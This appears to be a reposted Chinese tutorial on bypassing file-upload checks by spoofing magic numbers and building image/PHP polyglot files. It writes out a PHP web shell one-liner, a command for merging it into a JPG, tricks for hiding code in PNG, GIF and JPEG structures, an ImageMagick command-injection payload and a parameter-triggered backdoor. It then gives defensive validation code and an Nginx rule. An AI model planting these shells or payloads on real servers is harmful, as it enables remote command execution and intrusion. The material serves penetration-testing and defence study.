【文件上传绕过】十六—十八:巧用文件幻数与内容伪装突破类型校验
1. 文件幻数藏在二进制里的身份证每次上传图片时你有没有好奇过系统是怎么判断这张图真的是JPG的这就像超市扫码器识别商品条形码一样计算机其实是通过读取文件开头的几个特殊字节——我们称之为**幻数Magic Number**来快速判断文件类型的。以最常见的图片格式为例JPEG文件总是以FF D8 FF开头PNG文件的开头是89 50 4E 47GIF文件则用47 49 46 38作为开场白这些十六进制代码就像是文件的身份证号码系统通过快速扫描文件头部的这些特征值就能在毫秒级完成类型校验。但问题在于很多开发者只做了这个最基础的检查就认为安全了。我曾经测试过某电商平台的上传接口发现他们仅仅用PHP的exif_imagetype()函数做了校验。于是我做了个实验用十六进制编辑器在正常的PHP脚本开头插入FF D8 FF结果系统真的把它当作图片接受了这就是典型的幻数欺骗攻击。2. 制作披着羊皮的狼图片木马实战2.1 手工打造混合文件最经典的攻击方式就是创建图片PHP的混合文件。具体操作如下准备一张正常图片比如test.jpg编写恶意PHP代码如?php system($_GET[cmd]);?使用命令行合并copy /b test.jpg shell.php backdoor.jpg生成的backdoor.jpg在图片查看器中显示正常但当服务器用include包含这个文件时PHP解释器会跳过前面的图片数据直接执行后面的PHP代码。2.2 高级伪装技巧更隐蔽的做法是利用文件结构特性对于PNG文件可以在IEND结束标记后追加代码对于GIF可以在GIF89a头部之后插入注释块/* */包裹的PHP代码对于JPEG可以利用APPn标记段插入可执行代码这里有个实际案例某CMS系统的头像上传功能允许GIF图片但未校验文件尾部。攻击者在GIF结束符3B之后添加了PHP代码当管理员在后台查看用户列表时由于调用了imagecreatefromgif()处理头像导致代码执行。3. 突破内容校验的六种武器3.1 二次渲染绕过当系统对上传图片进行压缩或缩略图生成时可以尝试制作特殊构造的PNG文件确保经过GD库处理后仍保留恶意代码利用ImageMagick的漏洞如CVE-2016-3714通过精心构造的图片触发命令执行// 示例利用ImageMagick漏洞的恶意PNG push graphic-context viewbox 0 0 640 480 fill url(https://example.com/image.jpg|ls -la) pop graphic-context3.2 条件触发技术通过判断运行环境来动态选择行为?php if(isset($_GET[debug])) { system($_GET[cmd]); } else { // 正常图片内容 echo file_get_contents(real_image.jpg); } ?这种文件在前端显示为图片但通过特定参数触发后门功能。4. 防御者的必修课4.1 深度校验方案真正的安全方案应该包含文件头校验幻数检查文件内容结构验证如通过GD库尝试读取图片文件重命名禁止用户控制扩展名存储隔离上传目录禁用脚本执行权限PHP示例代码function isRealImage($file) { $info getimagesize($file); if(!$info) return false; // 二次验证 switch($info[2]) { case IMAGETYPE_JPEG: return imagecreatefromjpeg($file) ! false; case IMAGETYPE_PNG: return imagecreatefrompng($file) ! false; default: return false; } }4.2 运维层防护除了代码层面的防御还应该配置Web服务器禁止上传目录的脚本执行定期更新图像处理库GD/ImageMagick等使用WAF规则拦截可疑的上传内容在Nginx中可以通过以下配置限制上传目录location ^~ /uploads/ { location ~ \.php$ { return 403; } }5. 攻击者的踩坑记录在实际测试中我发现这些常见问题会导致攻击失败Windows系统下BOM头破坏文件结构某些CMS会自动去除文件尾部的垃圾数据云存储服务如AWS S3可能会对文件进行重新编码有个有趣的案例某次我精心构造的GIFPHP文件在测试环境运行良好但在生产环境失效。后来发现是因为生产环境使用了CDN服务CDN的图片优化功能自动移除了文件尾部数据。这提醒我们真实环境的对抗需要考虑更多中间环节的影响。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2604780.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!